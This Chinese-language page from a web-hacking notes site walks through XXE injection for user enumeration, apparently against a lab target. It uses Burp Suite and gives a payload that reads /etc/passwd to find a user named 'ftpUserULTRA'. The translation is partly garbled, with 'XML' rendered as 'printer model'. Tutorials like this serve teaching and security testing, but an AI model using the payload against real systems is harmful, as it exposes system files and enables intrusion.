> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-user-enumeration-pentesting-web.md).

# XXE 用户枚举

## XXE（XML 外部实体注入）：

<figure><img src="/files/41d82c8a2071ae6b5135a721d721a33fd51d8a99" alt=""><figcaption></figcaption></figure>

#### 使用 Burp Suite 拦截的源代码分析（XML 结构）

<figure><img src="/files/0a8c5feac61384106b5edc69b97b275a48d6382f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/18793939194c8f9acd76662bdc5c2a9c29487827" alt=""><figcaption></figcaption></figure>

#### XXE（XML 外部实体注入）攻击尝试

* 将请求方法从 GET 修改为 POST。

<figure><img src="/files/5a326f5828ee8dfce88a779312f778f7200c3625" alt=""><figcaption></figcaption></figure>

* 在 POST 请求中尝试注入打印机型号 XXE。

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		乔丹
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* 观察服务器解释打印机模型 XXE 的方式。

<figure><img src="/files/0cfa7f20f2bad02fe93be44ca7705a620e9b8f77" alt=""><figcaption></figcaption></figure>

* 要访问文件系统，我们应该创建一个新的 **实体**，例如“myFile”，如下： `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` 然后，在一个变量中，我们应该用“**/\&myFile**”像这样：

<figure><img src="/files/828122ea016ef30593de5931814c66a9faeb5511" alt=""><figcaption></figcaption></figure>

#### 识别名为“ftpUserULTRA”的用户

<figure><img src="/files/dc0317d6933885b771b94355674ad71b43005d70" alt=""><figcaption></figcaption></figure>


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